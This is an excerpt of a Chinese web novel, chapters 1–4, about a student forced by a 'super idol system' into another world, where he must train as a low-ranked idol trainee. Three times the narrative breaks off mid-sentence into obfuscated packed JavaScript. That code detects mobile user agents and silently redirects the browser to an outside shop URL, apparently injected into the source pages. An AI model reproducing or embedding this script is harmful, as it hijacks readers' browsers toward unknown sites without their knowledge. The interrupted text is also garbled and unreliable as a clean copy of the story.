《被迫当爱豆[娱乐圈]》 1. 第 1 章 华国，晚上九点，正是瓜民们酒足饭饱后开始吃瓜的好时间。 一条妙博词条以近乎九十度的上升曲线直接空降热搜排行第4，【赵陈华 李漾牵手逛街】词条后还跟着一个黑红的“爆”标识！ 实时广场不断刷出新讨论。 话题参与人数和热度随着越来越多的人关注到这条热搜还在不断上涨。 “我去！小花李漾竟然谈了？这男的背影看起来不咋地啊？赵陈华谁啊？糊咖不认识。” “楼上不要命啦？赵陈华是一个月前KOK选秀节目C位出道的冠军啊，据说坐拥半壁秀芬，你看他粉丝冲不冲你就完了。” “点了，文喜私关。” “？我真不知道啊？我不就问问吗这就冲我？” “有的人自己眼界不够就别出来混了，世界围着你转吗你不知道就说他糊，出圈舞台《XXX》······” “哈哈哈哈说曹操曹操到，楼上典中典” “姐妹劝删，现在别招黑了。” “黑粉少在这儿反串，主页一个关注都没有批什么皮呢？” “事业上升期谈恋爱，我真眼瞎。” ······· 词条广场上粉丝、路人、对家混作一团，实时热度还在继续攀升，再刷新已经上升到了热搜第3。 瓜民们吃瓜吃的开心了，而赵陈华公司的公关部一个个被急吼吼的电话叫起来开始加班，顶着公司老大下的‘压不下去就滚蛋的’的指示，商量着怎么用水军和手里营销号把这事儿压下去，或者把网民们的关注点都转移到其他地方。毕竟刚刚C位出道才一个月，还在准备第一次回归，正是粉丝上头的时候。现在被拍到谈恋爱，茅草房塌的都没这么快。 对公司来说，这不仅是要开始担心手里签了的商务合作的赔偿，更担心堆了无数资源置换出来的C位直接没了，损失远不止明面上这些。他们不得不尽力一救。 除了赵陈华的公关在加班，其他竞争公司的公关部门也在伺机而动，想再给这堆火添点柴直接摁死赵陈华。 无形的战场激烈交战。 而江翰飞上完奶茶店兼职最后一个小时，决定今天给自己放个假，晚上兼职不去了。回到狭小的租屋先冲了个澡，随意擦擦头发，拉过泡好的泡面开始一边吃泡面一边单手刷妙博。 “这些偶像，爱豆什么的，还真都是一些骗小女孩儿的渣男啊。” 江翰飞对赵陈华有印象，投票的时候有人来奶茶店给他做过活动拉过票。他还记得大热天的几个女孩子抱着印着二维码的牌子，等有人来买奶茶了就上前解释：扫码注册一个账号然后给赵陈华投票，她们就可以请店内随意一杯奶茶。 一呆就是一天。 最后江翰飞都收拾完准备下班了，几个女生才结伴离去，走之前还不忘让江翰飞也给赵陈华扫个码投票。 “真不值得。”江翰飞打字打到一半顿了顿，还是接着写，“为什么这么喜欢这些穿着花里胡哨的衣服，随便扭扭跳跳的渣男们呢？” 发送成功。 实时广场人太多了，江翰飞一刷新，刚刚发的博文很快有了回复。 卷起一口面塞进嘴里，嚼吧着点开了红色的消息提示：“就你能，就你值得，虽然不喜欢赵陈华，他也不是你说的随便扭扭跳跳吧？而且什么年代了，还管人怎么穿呢？关你什么事儿？” “比你会跳，不然你来？” “不是吧哥们儿，他人是有问题，但是爱豆不是随便穿穿跳跳就能做好的啊？” “赵陈华一个人的问题，少拉其他好宝宝下水。当爱豆哪有这么简单。另外回一楼，你也少洗，藏不住了。” “点了，我也搞不懂。” “你真觉得穿得花里胡哨一点，在台上随便扭扭就能当爱豆了？” “人说赵陈华一句垃圾怎么了？说不得了？” 江翰飞看评论正想再回复，出租屋的灯突然闪了几下，江翰飞抬起头。 “刺啦···刺啦······” 桌上的泡面汤还冒着热气儿，掉在地上的手机屏幕上显示着越来越多的人回复了江翰飞的消息。 出租屋里却已经空空无人。 “嘶——” 江翰飞感受到后脑勺的钝痛感，脸皱在一起伸手揉了揉后脑勺。 睁眼。 嗯？ 低头，闭眼，抬头，睁眼，低头，闭眼，再抬头。 嗯嗯？ 重复几次动作之后，江翰飞停下了揉后脑勺的手，他似乎好像确实出了点问题。 脑袋被磕出幻觉了？这是哪儿？ [叮咚~]安静的房间里突然响起一声清脆的提示音。 [你好，江翰飞先生，我是超级偶像系统，这里是大华国。您想回归原世界的话完成系统测试成为超级偶像即可唷~] 江翰飞听着突然出现的声音，小心抬头四处张望了一下，眼神定格到了角落里的巨大音响上。 声音刚刚是不是从这儿传来的？ [叮咚~] [系统就是直接通过脑电波和您沟通，不是实物哦~]系统突然再次出声道。 “你能直接知道我的想法？”江翰飞一惊，通过脑电波交流还能直接知道自己的想法。这就是个惊悚故事好吧，尤其对方还是一个不明生物。 [叮咚~根据XXX规定，人类先天享有个人隐私权，如果您不想对我实时开放您的脑电波信息，只需要您关闭本系统的实时感知功能即可哦~]系统还是很欢快的语气回复。 “关闭实时感知功能。”江翰飞小声尝试。 [好的，已关闭。由于感知功能已关闭，如需呼出系统，请使用默认指令：‘系统’。”欢快的语音继续说道，[您只需要在内心呼唤‘系统’即可，听到‘系统’指令后我将再与您链接脑电波进行交流。] ‘这个系统是神经病，大傻子·····’江翰飞等系统说完，立刻在脑子里尝试花式骂系统一分钟。等了一会儿，没有听见系统出声纠正，大概是真的关闭了， 这样说来系统说的都是真话，那刚刚系统说完成测试就能回到原世界，意思就是，自己已经不在原来的世界里了？ 江翰飞一瞬间想到了自己辛辛苦苦打工的存款，想到还没有还完的助学贷款，一时不知道是该喜该悲。 抬头又环顾了一下四周，这是一件不知道干什么用的房间，有一整面墙全都是镜面，房间左右两边的角落里放着两个大黑音响，除此以外别无他物了。 “系统。”江翰飞心里唤到，有一种莫名中二的羞耻感，幸好不用喊出声来。 [在唷~]系统立马回复到。 “我现在是在另一个世界吗？” [是的唷。] “呃，我的意思是，就是你刚刚说完成的超级偶像测试是什么意思？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606579|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[就是字面意思呢，您来到这个世界需要完成超级偶像测试才能回去呢。] “是我想的那种偶像吗？”江翰飞马上联想到因为谈恋爱上热搜的赵陈华。 [是的，赵陈华的职业判定归类为偶像呢~] “我不当偶像，让我回去上学可以吗？”江翰飞尝试着和系统商量。 [不可以呢，您来到这个世界需要完成超级偶像测试呢。]系统用欢快的语气一板一眼的回复到。 江翰飞心里叹了口气，虽然问出口了，但是他自己心里也知道，多半是不可能直接把自己送回去的。 [是的呢，回归的唯一方式就是成为超级偶像通过系统测评噢~] “好吧，那我要怎么完成？”江翰飞一边在心里问到，一边站起身来。他还穿着在出租屋的换上的老头背心和短裤，脚上挎着一双拖鞋，鞋底还有裂痕的那种。 [滴—— 开启超级偶像任务： 前置任务：出道 任务时限：一年 任务成功奖励：无 任务失败惩罚：灵魂消散 领取任务：是/否] “？？？”江翰飞听完整个人都不好了，“惩罚什么意思啊？灵魂消散？” [是的呢，您来到这个世界必须完成超级偶像测评，如果无法完成，您的灵魂会因为系统被回收导致直接消散呢~] [用人类的语言来说，就是死亡哦~] 还是那么欢快的语调，说出来的话却让江翰飞直接凉到了心底。 刚刚他还想耍小聪明，想着大不了了解这个世界情况之后，自己去做打工，不当那个偶像一样能养活自己，也不是一定要回到原来的世界。 没想到系统居然还有这种惩罚设定····· “那我要是不领取这个任务呢？” [如果您拒绝任务，本系统会被回收，导致您的直接灵魂消散呢~] 江翰飞心底最后一丝希望散去，系统的话翻译一下就是，做任务不通过，抹杀；拒绝它不做任务，直接抹杀。 好吧，不就是当偶像吗，不就是穿得花里胡哨一点，在人多一点的地方扭扭唱唱吗，他可以的，他可以的。 江翰飞自我催眠完，闭眼，“领取任务。” [任务已领取] [背景资料已发送，请注意查收~请您加油完成任务，争取早日出道噢~] 随着系统的话音在脑海里消散，江翰飞了解了自己和这个世界的大致情况。 江翰飞，18岁，乐狮娱乐C级练习生。 今天第一天来公司进行适应性练习，第一节课，基础舞蹈课；任课老师：菲力；上课地点：第7舞蹈练习室。 “咔嚓——” 门从外面被打开，陆陆续续进来了几个染着头发的男生，年龄都不大，看着小的可能13、14岁，大的也就20岁出头的样子，穿着宽松的T恤和裤子。 这几个人进来之后各自开始压腿压腰，一边用隐晦的目光打量着这个生面孔。 江翰飞还在脑子里过这个世界的信息，在整面镜子墙前感受到他们打量的目光，江翰飞整个人鸡皮疙瘩都要起来了，低头死死盯着自己的拖鞋，脚趾用力得发白。 这就已经开始要上课了吗？！ 能不能给一点准备时间啊？ 一道声音从前面传来：“你是谁？穿着拖鞋就进了舞蹈室？” 2. 第 2 章 江翰飞整个人一僵，垂在两边的手一下子扣紧了裤缝。 刚刚进来的人都穿着运动鞋，这肯定是在问自己。 舞蹈室里没人说话，偶尔有开门进来的人感受到练习室内的奇怪氛围，乖乖的安静站到空位上，不敢多说话。 江翰飞心里叹口气，抬起头时正好对上一道盯着他的目光。 菲力皱眉盯着这个面上明显透着茫然和小心的生面孔，心知应该是新进公司的。虽然又黑又瘦的，底子能看出来长得应该还不错。 但居然穿着拖鞋就来了舞蹈室！ 这个是菲力绝不能忍的，念着这小孩儿应该是个新人，她好歹没有骂的太过，只斥了一声，“滚出去！换好服装鞋子再来。” 说完不再看江翰飞，放了音乐开始带着其他人开始热身。 江翰飞整个人从脸红到脖子耳根，找准门口，连忙从其他人的缝隙中窜出了第7舞蹈室。 出了舞蹈室，江翰飞快步走到楼梯，打开安全门，靠在楼梯转角处的墙上。楼里的人大都坐电梯，这里又装了烟雾报警器，连吸烟都没人来这儿，很是安静。 楼梯间黑黢黢的，弥漫着一种不常备使用的带着灰尘的味道。江翰飞却深吸了一口气，整个人放松下来。 甩了甩脑袋，把刚刚想要钻进地板缝里的尴尬感从自己脑子里赶走。 虽然很社死，但是脑子里的信息告诉他。 如果他想完成第一个出道的任务，必须先在这家公司的练习然后争取出道的机会。 是的，争取。 他刚刚才从系统给他的信息里知道，原来娱乐公司选练习生也会面试，面试通过成为练习生之后才能在公司进行练习。也许快也许慢，等公司有出男团的计划，练习生才有机会去争取这个男团的名额。而练习生几百个，男团多的也就13人，少的甚至出过3人团，只有自身有一定名气和粉丝基础的才有solo出道的可能。 可以说，每一位能出道的人，都至少是百里挑一。 江翰飞对比起自己世界里的信息，他真不觉得那些偶像有这么厉害啊？ 唱的歌经常奇奇怪怪的听不懂到底想表达什么，有的在副歌部分全都是叮里哐啷的乐器声和wowowo这种无意义的歌词。而且他对这个群体没有好印象很大一部分都归功于每次在热搜上看到他们这类团体，都是什么恋爱啊，塌房啊，睡和税的····· 唉，好像不是很容易完成的样子，而且出道后的样子也并不让人期待。 可不完成自己小命就没了。 想到这儿，江翰飞还是老老实实的准备回宿舍换服装。 幸好这个娱乐公司是给练习生分配宿舍的，宿舍里有可以用来上课的衣服裤子和鞋子。 循着脑子里的信息江翰飞历经十五分钟，在相隔这栋楼五分钟路程另一栋楼的3010号找到了自己的床铺。 他所在的乐狮娱乐是一个中大型娱乐公司，几乎每隔一到两年都会推出组合或者solo歌手出道，旗下也有不少当红组合或者歌手，比如大热组合Hitting，就是三年前乐狮推出的男子组合，现在已经在开大型的世巡了。 这两年乐狮想扩张，正尝试推出更多组合和另一家中大型公司安阳娱乐打对台。旗下练习生本就不少，现在更是因为和头部的以及竞对的安阳抢资源而扩张到了几百人，江翰飞现在所在的一整栋楼都是乐狮的练习生宿舍。 公司也按照练习生C级到S级，分配的宿舍从八人间到单间不一。 作为底层食物链的C级练习生，江翰飞被分配的就是8人间。 说是8人间，其实是16人间。一个套二，两个卧室里各自塞了4个上下床，拥挤的卧室仅仅够人在里面转开身。客厅里是没有沙发电视等生活家居的，而是放了很多立柜，所有人的衣物都放在立柜里。带锁的立柜每人一个，分为上下两格，所有个人物品都放在这两格里。放在立柜以外的地方，被别人拿走了，用了甚至是扔掉了，没人会管。 江翰飞看着宿舍倒没有多大的波动，他大学的宿舍和这个差不多，装修还没这个好呢。 从枕头底下摸出立柜钥匙，换上立柜里的一套和舞蹈室里其他人差不多的短袖长裤，蹬上运动鞋，把换下来的拖鞋扔进下面的柜子锁好，把钥匙塞回原位出了门。 回舞蹈室的路上，江翰飞心里一直在打鼓，砰砰砰的直跳。 虽然他在网上说偶像跳舞就是随便扭扭跳跳，但他只是口嗨啊，他哪儿跳过舞啊。 他只在见过大爷大妈们跳过广场舞！ 而且那个舞蹈室里面这么多人，还都是陌生人，刚被那个舞蹈老师骂了，等会儿进去了要是他跟不上······ 真是想想都快让人喘不上气了！ 又回到舞蹈室门口，站在门口连着深呼吸了好几次，脑子里不自主的又开始回放里面的人齐齐投射来的目光。 江翰飞简直现在就想跟系统说他不做任务了。 ······但又没这个勇气。 踌躇一会儿，眼看着老师已经上了四十分钟的课了。 系统第一个任务的任务时限是一年。不管怎么看，只要公司脑子没问题，要选人出道的话，无论如何都不会选一个C级的练习生吧？ 社死和悬在头上的达摩克利斯之剑相比，果然还是真正的死亡更有说服力。 于是江翰飞在裤子上擦擦汉湿的手，硬着头皮推开了舞蹈室的门。 开门的时候，菲力正在带Hitting组合一首是大爆热曲的舞蹈片段。瞥见门开了，是刚才被她训斥的新人换好了衣服鞋子又回来了。 她冲那个新人点点头，示意他可以进来了。 “听清楚节奏再做动作。我再放一次音乐，自己脑子里合一下刚刚的动作，找找鼓点在哪儿。”菲力拍拍手，拉过大家的注意力。 她带的这节课是舞蹈基础课，上课的练习生们都是一些没有基础或者偏科选手。因此带他们热身后，会带他们学着找到一首歌的鼓点。跳舞找不对鼓点节奏，做出来的动作不是会抢拍就是会慢了跟不上，这个舞蹈室三十几个人的动作放在一起简直就是群魔乱舞。 江翰飞乖觉的站在了舞蹈室最边上的后面。他本就是第一天的纯新手又缺了几十分钟的课程，现在也不知道老师在干什么，只好站在最后面看别人做什么他就做什么。 听着好像是让他们去找放的这首歌的鼓点节奏。 节奏他倒是知道，一首歌节奏强节奏弱的，他还是能懂的。但鼓点是什么，打鼓的声音吗？ 舞蹈片段时间不长，大概就是三十多秒。放完一遍，菲力扫过教室里的人，“有听到鼓点吗？” “有~”回应菲力的只有零零散散的几声，大多数还是沉默着。 菲力倒是没有生气，她做练习生老师好几年了，这些C级练习生的水平德行她早习惯了，“我再循环放2遍，你们认真听，待会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606580|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁还抓不住鼓点的跳错了就自己滚回去练习。” 余光扫到教室里那个新来的身影，看他面上茫然又懵懂的表情，想了想放音乐之前还是再加了一句，“节奏鼓点就是这段音乐里的重音，大多数时候是我们动作要打到的节奏点或者是要换下一个动作的节点。一定明确自己哪个动作对应了歌曲的哪一个鼓点。” 江翰飞听着菲力老师的解说，似懂非懂。其他人都在认真听音乐他也不好问，先竖起耳朵跟着听。 这一听，倒是让他听见了几个咚咚咚的声音，但不确定这是不是就是老师说的鼓点。 第二次放完之后，菲力再问有没有听到鼓点，这下子回答的人数一下子就多了不少。 肯定还是有没有听见的，但是菲力不会再费力气，见大多数人抓到了鼓点，点了点头，“好，那我们0.9倍速来一次，这次注意把动作和鼓点结合起来。” 教室里又开始播放音乐，其他练习生也开始跟着音乐动了起来。 Hitting这首歌本就是快节奏的舞曲，即使0.9倍速，江翰飞瞄来瞄去也完全跟不上动作。 光是一抬手他就有一种莫名的尴尬感，还来不及细想，就要变换下一个动作了，赶紧手忙脚乱的跟上。再下一个动作是一个从肩到胯的wave，他就看老师和旁边的人像蛇一样扭了一下。他双手叉腰，努力的伸头去跟上动作。可没开发过的身体僵硬动作也慢，还不等他伸头出去，老师和其他人又接着做了下一个动作。 后面的时间他一直在这种这个动作还没做完开头，就该赶着去做下一个动作的状态里。 偶尔瞥见镜子里的自己，他都不敢多看，同样的动作老师做起来却行云流水节奏分明，任他怎么看，都说不出这是随便扭扭就能做出来的。而自己的动作都不敢说是舞蹈。 只能用力地盯着老师的身影，力求不要看见镜子里的自己，只要不看他就不知道自己跳出来有多丑。 一节舞蹈课一般是2个小时。他只上了后半程。 但上完这一半，他感觉自己已经去掉了半条命，身心俱疲。 下课的时候，菲力老师看了他一眼，什么也没说就走了。 被看那一眼，却让他感觉自己梦回高中在课堂上被老师抽背文言文但是一个字都说不出来的感觉了。 老师走出教室之后，其他练习生陆陆续续地散了。 “砰——” 江翰飞正在想老师说下节课要继续练的动作，突然间被撞了一个趔趄。 好险站稳了。 抬头一看，正是早上他最先看见开门进来的那几个人。其中一个长得高高大大带着耳环，还有四五个人围在他旁边。撞他的是围在那男生旁边的人之一。 见他抬头看过来，撞他的对他扯起一抹笑，怪声怪气道，“唷~拖鞋哥~” “噗嗤！”舞蹈室里还没走的几个练习生一听这称呼忍不住笑出声来。 高壮男生闻声看过去，笑出声的男生跟他对上视线，讪讪地摆了摆手，头一低，拉着身边的人赶紧也出了舞蹈教室。 见对方识相的走了，又转回头看着江翰飞，“下次可记得别穿拖鞋来舞蹈教室了。” 说完，不等江翰飞回话，领着四五个小弟出去了。 等他一走，刚刚安静的舞蹈室又响起零零散散的声音，有的人在收拾背包，有的人在小声说话。自然地就像是下课后的大学生，仿佛刚刚那一幕是再正常不过了。 3. 第 3 章 江翰飞才懒得理他们，被逮到这个世界之前已经是晚上了他还正在吃泡面，没吃完呢就给他提溜过来了，又是跑了一趟宿舍又是上了半节舞蹈课，现在肚子饿的咕咕叫，准备去自动贩卖机前买点饼干先垫垫。 然而等他站在自动贩卖机前时，他才猛然意识到，他身上好像一分钱都没有，不仅没有现金，连手机都没有。 幸好，脑子里的信息有说明，C级的练习生合同里是包含了每个月1200的餐补，这个餐补直接充值到他们的个人账户里。他们可以用这个账户里的钱在食堂吃饭。食堂位于这栋负一楼，每日三餐准点供餐，可惜供应三餐以外的时间人影都看不见，也不附带供应任何小吃和零食。 江翰飞：······ 谁家系统穿越连手机都不给带的啊？他手机里的余额宝里还有钱呢。 哪有这么抠门的系统啊？别人的系统不都是自带多少金币吗？或者给他换个神豪系统，美食系统也好啊！偏偏让自己碰上了一个偶像系统。 果然他和偶像这个职业命格不合，可能犯冲！ “那个·····你还要买吗？”迟疑的少年音把江翰飞从对系统的吐槽中拉回现实。 江翰飞扭头对上了正盯着自己的少年眼睛。 这少年看起来不高，估计年纪不大，约莫15、16岁，脸上还有没褪下的婴儿肥；说话的时候微微仰着头看过来，眼睛圆溜溜，睁得大大的，浑身散发着还安全无害的小狗崽气息。 江翰飞反应过来，自己挡住了人家买东西的路。 赶紧往旁边站了一步说道：“噢噢，不好意思。不用不用，你先买吧。” 小狗崽对江翰飞点点头，露出了一个带点羞涩地笑容：“谢谢。” 看着小狗崽按下功能饮料的按钮，江翰飞开始琢磨怎么在这个世界挣钱的事儿。 好歹得买个手机，而且身上一分钱没有实在是让人太没有安全感了。还是得打工存点钱以防万一，真没想到换了个世界，居然比原世界还穷。 仔细想想合同里没有说练习生不能出去打工，只规定了不能去酒吧，夜店等一些容易造成污迹的场所。但是奶茶店，咖啡店这种地方打工应该也不行，每天要接触的人太多了，自己以后完成任务要成偶像的话还是不要以打工的形象出现在其他人的视线里比较好吧？这么说最合适的还是他熟悉的外卖跑夜单，晚上方便而且带着头盔和口罩啥的，谁也认不出来。 正想打工的事儿，视野里的余光却瞄到刚刚的少年蹲在那儿已经好一会儿没起来了。 视线望过去的时候，少年甚至不蹲了，改用趴在地上，歪头去看自动贩卖机出东西的出口。 “怎么了？”江翰飞的声音不带情绪时听起来莫名的带着一股冷清。 正撅着屁股的时元听见声音一骨碌从地上爬了起来。 刚刚光顾着和自动贩卖机生气，忘了还有一个人在旁边了。 被别人看见自己撅着屁股趴在地上的样子，时元觉得尴尬的头都要冒烟了。双手捏住衣服下摆不住地摩挲，手上的灰尘在浅色的T恤上留下两道痕迹。 江翰飞见时元这样，瞬间肯定对时元年龄的猜想，自己肯定是哥。自顾自的走到自动贩卖机前，见一瓶功能饮料卡在了要掉出来的玻璃挡板前，瞬间明了了，“是卡住了吧？” “啊？额，是这···呃····”时元这才发现原来没有东西出来是被卡住了，就见这位哥直接啪啪几巴掌拍在了自动贩卖机的侧面，拍的自动贩卖机震了几下，被卡住的瓶子咕咚一声，滚出了自动贩卖机。 江翰飞拿起那瓶水递给时元。 时元赶紧道谢接过来，见江翰飞转身准备走了，一把拉住江翰飞，“谢谢你，我请你吃东西吧。” 他记得刚刚这哥也站在自动贩卖机前，最后却什么都没有买，可能是忘了带零钱了。 江翰飞正准备拒绝，肚子不合时宜的咕咕叫了起来。声音在冷清的三楼走道里显得格外的响亮。 他刚刚想说自己不饿的借口说不出口了······ 最后他一边往嘴里塞着无糖苏打饼干，一边默默唾弃了一下自己。本来真的就是随手帮个忙啥的，结果还让时元这个弟弟请自己吃了饼干。 不过也幸好有了这么个小插曲，这之后江翰飞和时元都觉得对方挺好相处，又都是C级练习生，时元甚至连宿舍都在江翰飞隔壁的3011，两人心里感慨了一下这就是缘分啊，于是你一句我一句的就这么慢慢地熟络起来。 正好他今天和时元的课程表重合了好几节，早上的舞蹈，形体，下午的声乐，语言，体能，晚上的时尚鉴赏。 到一整天的课程结束的时候，江翰飞和时元已经熟悉了不少，时元还说明天给他介绍他宿舍的几个好朋友，两人在各自的宿舍门前道别，约着明天早上再一起去上课。 江翰飞开门进了宿舍，里面已经回来了半多的人。 十来个男生，三三两两的聚集在一起聊天，也有一个人带着耳机在本子上写着什么的，最吵闹的就是隔壁房间的两个男生，似乎是在一起打游戏，喊叫声让江翰飞很熟悉，甚至有一种重新回归了大学生活的错觉。 里面的人见有人开门进来，大部分都只是瞥了一眼，算是认了个脸就转开眼睛不再看了。 江翰飞在其实在回来的路上打了好几遍腹稿，演练着见到室友们之后要怎么做自我介绍。没想到回来之后是这样的。 这种奇怪的氛围让江翰飞的准备落了空，但也算省事儿了。也忙匆匆点了个头，算是和还在看他的室友们打了个招呼。 见现在浴室空着没人，闷不吭声的从立柜里拿出东西先去洗澡了。 其他人也没人注意到或者说也没人在意江翰飞干了什么，各自做着各自的事情，仿佛这间房间新住进来的一个人与他们没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606581|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何关系。 已经晚上十二点，宿舍还有人在洗漱，灯光通明。早早洗漱完的江翰飞躺在床上把被子拉过头顶，挡住刺眼的灯光。 下床的男生似乎已经睡熟了，发出轻轻的鼾声，经历过大学宿舍的江翰飞对这个鼾声适应良好。但他自己明明身体已经十分疲惫，精神也疲惫到太阳穴有隐隐的刺痛感，却翻来覆去了好一会儿还是睡不着。 热热的气息从鼻子呼出，氤氲在被子里。又深深地吸了一口气。 脑子里胡思乱想着，自己呼出去了二氧化碳，现在又吸气，是不是吸的也全都是二氧化碳，二氧化碳进来又是二氧化碳出去，会不会二氧化碳中毒啊？或者自己会不会就这样缺氧啊？ 又想起在被系统带过来之前，他还在吃得酸菜牛肉味儿的泡面，这个味道的泡面自从某个事件之后就一直是楼下便利店里最便宜的味道，当时打折促销，他屯了不少在自己的租屋里，全白瞎了。现在想吃一桶泡面还得想办法再去打工挣钱呢······ 要是系统把存款带过来就好了，不过把存款带过来会不会把自己的贷款一起带过来啊？要是把贷款一起带过来了那还是算了吧。这么说来，这个公司的练习生好像也是类似和公司贷款来着，如果成功出道了，出道后的收入得等付清公司在培训期间对个人的支出之后才会开始有结算。 如果自己能出道····· 不对，自己是必须得出道。不出道就等于完不成任务，完不成任务就等于会死······ 江翰飞已经开始发蒙的脑袋一瞬间又有点清醒了。 得出道啊。 上完了一天的练习课程，江翰飞已经明白出道并不是一件容易的事情，至少在这个世界并不容易。 之前他在各种热搜里，新闻里看到的那些爱豆都是少数胜利者。更多失败者沉默在各大娱乐公司的练习室里，宿舍里以及因为到了年纪或者被公司清退而不得不去打工或者上学的人里。 就好像现在的他。 和几百个练习生，为了公司可能会推出的下一个男团在默默地竞争着。这几百人，都是通过面试进入的公司，他们也是胜利者，是面试的胜利者；面试里被淘汰的又何止几百人，一场面试可能几十个人里就选几个，如果都不合适，甚至一个都不会选。毕竟对公司来说，每一个练习生都相当于一笔待支出的投资，怎么可能明知道这笔投资会亏还去投入呢。 江翰飞感觉自己在被子里闷久了，好像真的开始缺氧了。 再把被子掀开的时候，宿舍里已经关灯了，只有几缕楼下的路灯的光透过窗帘的缝隙挤进来，让江翰飞在黑黢黢的宿舍里能模模糊糊地看到天花板上灯的轮廓。 耳边还是室友规律的鼾声。 终于抵挡不住身体和精神的疲惫，他脑袋开始发沉，睡死之前脑子里闪过最后一个念头。 下次不能再穿拖鞋去舞蹈练习室了。 4. 第 4 章 坐在食堂正和时元一起吃早餐的江翰飞一脸生无可恋。 这也起的太早了！ 昨天江翰飞看到了自己的课表。他没有手机，别人都是在手机上直接查询自己的课表和上课情况，他是通过系统直接传输给他的课表去的。 他明明记得课程表上写着每天的第一节课都是九点开始。系统总不可能给错的。 但是没人说九点之前还有晨练啊？！ 于是今天早上六点被室友关门声音吵醒的江翰飞懵逼了。等他听见关门声起床的时候，宿舍已经空无一人了。 他心里一慌，不知道自己是不是看漏了课表，赶紧又仔细回想了一遍。 没错啊，第一节课就是九点啊？ 又看看客厅里挂着的挂钟，确实是显示的早上六点零五分。 正懵逼的时候听见了轻轻地敲门声。 开门之后看到的就是穿戴整齐的时元了。 时元看到他的样子比他更疑惑，“飞哥，你还没有收拾好吗？” 江翰飞赶紧问道：“时元，我们的第一节课不是九点吗？为什么要起这么早啊？” 听到江翰飞的问话时元恍然，原来江翰飞根本就不知道晨练的事情。 想到昨天聊天的时候江翰飞说他是第一天进公司练习，倒也不觉得奇怪了。 “飞哥，你先赶紧洗漱收拾吧，待会儿路上我再跟你解释。”时元催促到，转身跟外面等自己的人说让他们先走，进了江翰飞的宿舍反手关上门，站在玄关等着。 江翰飞也不磨蹭，匆匆去洗漱然后换好了衣服出门。 在去往练习大楼的路上，时元跟江翰飞解释公司的规定：“飞哥，虽然咱们课表上写的是九点上第一节课，但是每天的晨练时间是早上六点。” 说着两人就到了练习大楼的二楼。 江翰飞学着时元在进门的打卡机上用指纹打了卡。 时元又解释道：“公司要求练习生每周至少有12个小时和6天以上的健身房时长，今天是最后一天，所以很多还没有来练够时长的会在今天补时间。” “这个时长计算是按照这个指纹打卡的时间来的。健身房的器械可以随意使用，会有健身教练在旁边指导我们的动作。公司没有规定咱们做什么运动，但是如果长时间在健身房内聊天休息被教练看到了就会被清出健身房，第二天才能来。所以大家就算是聊天，一般也是在跑步机或者椭圆机上边运动边聊天。” “健身房早上六点开，对我们C级和B级练习生只开放早上六点到早上九点，其余的时间段我们都不能使用，大概是留给A级、S级还有一些有健身需求的老师们使用的。” 时元来公司也就两三个月，对这也只是个猜测。 江翰飞被时元科普的一愣一愣的：“那为什么大家都是早上六点来做这个晨练啊？” 刚问出口，江翰飞就知道自己问了个傻问题。还能为什么，当然是因为得抢位置而且其他时间都得上课啊。 进入之后才发现，二楼整一层都是健身房，粗粗看去得有个几百平，里面置备了各种健身器械，从跑步机，椭圆机，杠铃，哑铃等，连新兴的TRX悬挂训练带等在角落里都能找到。 C级和B级的练习生只能在早上六点到九点使用，但人数却是最多的。A级和S级加起来不到五十人，但C级和B级加起来至少有三百人。 整层楼非常的大，三百人几乎都在这儿开始挥洒汗水了，但也不显得十分拥挤。设施里最多的就是跑步机和椭圆机，靠窗的地方并排放了整整两排，约莫得有超过五十台。 但是对比C级和B级练习生的整体数量来讲，这个数量显得就有点少了。不是所有人都喜欢健身房，很有一部分人只是因为公司的强制规定不得不来健身房锻炼，想水时长的最好办法当然就是在跑步机上设置较低的速度，一边走一边还能和旁边的人聊聊八卦。这样也算是在使用器械，健身教练们并不会把他们赶出去，算是双方都心照不宣的钻漏洞。 毕竟就算把人清出了健身房，健身教练也不会有任何奖励，只要做的不过分，一般睁一只眼闭一只眼就过了。 这就造成了跑步机和椭圆机成了健身房内最受欢迎的器械。平日里都还不太够用得靠抢，何况是这种补时长的日子，竞争更是激烈了。 江翰飞和时元到了哑铃区，从哑铃架上取了一对4kg的哑铃。两人都是瘦胳膊瘦腿的，不是肌群丰富的类型，也没人逞大，都先取了对男生来说算得上基础的重量。 一位健身教练见他俩新手的架势，顺势走了过来，帮助他们用正确的姿势进行锻炼。 这对江翰飞来说是个挺新奇的体验。 他干过很多兼职，奶茶店，外卖小哥，夜市摆摊，餐厅服务员等等，但从来没有进过健身房，有时路过一些用玻璃墙的健身房时匆匆瞄过几眼，觉得里面的人都穿着专用的服装，或是带着耳机专注的训练，看起来好像很高端。 